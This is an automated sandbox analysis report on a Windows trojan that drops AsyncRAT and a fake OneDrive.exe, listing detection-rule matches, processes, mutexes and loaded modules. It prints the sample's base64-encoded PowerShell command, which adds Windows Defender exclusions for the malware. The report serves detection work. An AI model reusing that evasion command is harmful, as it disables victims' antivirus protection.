Source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 00000000.00000002.4636065933.000001419257D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_000001419AFB6E5B	0_2_000001419AFB6E5B
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347F57AD	0_2_00007FFD347F57AD
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD347F9C90	0_2_00007FFD347F9C90
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34929108	0_2_00007FFD34929108
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34929108	0_2_00007FFD34929108
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34B7E5E4	0_2_00007FFD34B7E5E4
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34B78E0D	0_2_00007FFD34B78E0D
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34B7DDD1	0_2_00007FFD34B7DDD1
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34B7A745	0_2_00007FFD34B7A745
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34B70379	0_2_00007FFD34B70379
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5854A	0_2_00007FFD34E5854A
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E59496	0_2_00007FFD34E59496
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E5059F	0_2_00007FFD34E5059F
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E50400	0_2_00007FFD34E50400
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E4ABB4	0_2_00007FFD34E4ABB4
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E59503	0_2_00007FFD34E59503
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E59650	0_2_00007FFD34E59650
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E52DFA	0_2_00007FFD34E52DFA
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E505E0	0_2_00007FFD34E505E0
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E52FC5	0_2_00007FFD34E52FC5
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Code function: 0_2_00007FFD34E532C2	0_2_00007FFD34E532C2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD346656EA	2_2_00007FFD346656EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34665BFA	2_2_00007FFD34665BFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD34666FFA	2_2_00007FFD34666FFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD347330E9	2_2_00007FFD347330E9
Source: C:\Users\user\Documents\OneDrive.exe	Code function: 8_2_00007FFD348157AD	8_2_00007FFD348157AD
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD346820A1	9_2_00007FFD346820A1
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD346812E9	9_2_00007FFD346812E9
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34685DD6	9_2_00007FFD34685DD6
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34686B82	9_2_00007FFD34686B82
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34680F1D	9_2_00007FFD34680F1D
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34681329	9_2_00007FFD34681329
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34680E28	9_2_00007FFD34680E28
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Code function: 9_2_00007FFD34681E0D	9_2_00007FFD34681E0D
Source: C:\Users\user\Documents\OneDrive.exe	Code function: 14_2_00007FFD348057AD	14_2_00007FFD348057AD

Source: C:\Users\user\AppData\Local\Temp\arndry.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3804 -s 1632

Source: OneDrive.exe.0.dr	Static PE information: No import functions for PE file found
Source: b39wW3jYKO.exe	Static PE information: No import functions for PE file found

Source: b39wW3jYKO.exe	Binary or memory string: OriginalFilename vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000002.4644423945.000001419AC09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOneDrive.exe4 vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRecovery.dll2 vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000002.4646804706.000001419AFB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000002.4648202553.000001419B070000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOneDrive.exe4 vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000002.4648624073.000001419B110000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOptions.dll0 vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe, 00000000.00000000.2129581146.0000014180441000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameOneDrive.exe2 vs b39wW3jYKO.exe
Source: b39wW3jYKO.exe	Binary or memory string: OriginalFilenameOneDrive.exe2 vs b39wW3jYKO.exe

Source: 0.2.b39wW3jYKO.exe.1419b110000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 9.0.arndry.exe.1d0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.b39wW3jYKO.exe.1419c0e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.4647563742.000001419B000000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000009.00000000.2419775202.00000000001D2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.4648624073.000001419B110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
Source: 00000000.00000002.4651442435.000001419C0E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.4636065933.000001419257D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.4618510904.00000141820D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\arndry.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: b39wW3jYKO.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: OneDrive.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: arndry.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: arndry.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: arndry.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: arndry.exe.0.dr, Settings.cs

Base64 encoded string: 'ko4cJ6jZSRXGOzxb+X/XIypASEw9BMK4sxdQOppaCJiDJRjXWttzrtDR1WmRtFf1', 'UiWEarYOsqLo292Ez/XbQx9AfwVWFkGbdqSTgDuOJUV/fmusAQ9KdH+sVpZFgy1v', 'NBW9o6+cDOocLnfX9iRvSMNwH7/BNABTq1jCY0Bc7D4xYvJbFZ1qoE/Qm2R+f6VP'

Source: arndry.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: arndry.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, Helper.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, Helper.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, Botkiller.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.b39wW3jYKO.exe.1419b110000.2.raw.unpack, Botkiller.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.b39wW3jYKO.exe.1419afb0000.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/26@1/2

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Code function: 0_2_00007FFD3492952A AdjustTokenPrivileges,

0_2_00007FFD3492952A

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File created: C:\Users\user\documents\OneDrive.exe

Jump to behavior

Source: C:\Users\user\Documents\OneDrive.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Mutant created: \Sessions\1\BaseNamedObjects\Tohcrtzmp
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2432:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Mutant created: \Sessions\1\BaseNamedObjects\QMHDjhLW52nOcp4a
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3804
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Mutant created: \Sessions\1\BaseNamedObjects\rizvP2PbycXS0qc6

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File created: C:\Users\user\AppData\Local\Temp\arndry.exe

Jump to behavior

Source: b39wW3jYKO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: b39wW3jYKO.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp1DE4.tmp.dat.0.dr, tmp8A59.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: b39wW3jYKO.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

File read: C:\Users\user\Desktop\b39wW3jYKO.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\b39wW3jYKO.exe "C:\Users\user\Desktop\b39wW3jYKO.exe"
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Users\user\Documents\OneDrive.exe "C:\Users\user\Documents\OneDrive.exe"
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Users\user\AppData\Local\Temp\arndry.exe "C:\Users\user\AppData\Local\Temp\arndry.exe"
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3804 -s 1632
Source: unknown	Process created: C:\Users\user\Documents\OneDrive.exe "C:\Users\user\Documents\OneDrive.exe"
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABiADMAOQB3AFcAMwBqAFkASwBPAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABEAGUAcwBrAHQAbwBwAFwAYgAzADkAdwBXADMAagBZAEsATwAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAGQAbwBjAHUAbQBlAG4AdABzAFwATwBuAGUARAByAGkAdgBlAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABlAG4AZwBpAG4AZQBlAHIAXABkAG8AYwB1AG0AZQBuAHQAcwBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlAA==	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process created: C:\Users\user\AppData\Local\Temp\arndry.exe "C:\Users\user\AppData\Local\Temp\arndry.exe"	Jump to behavior

Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
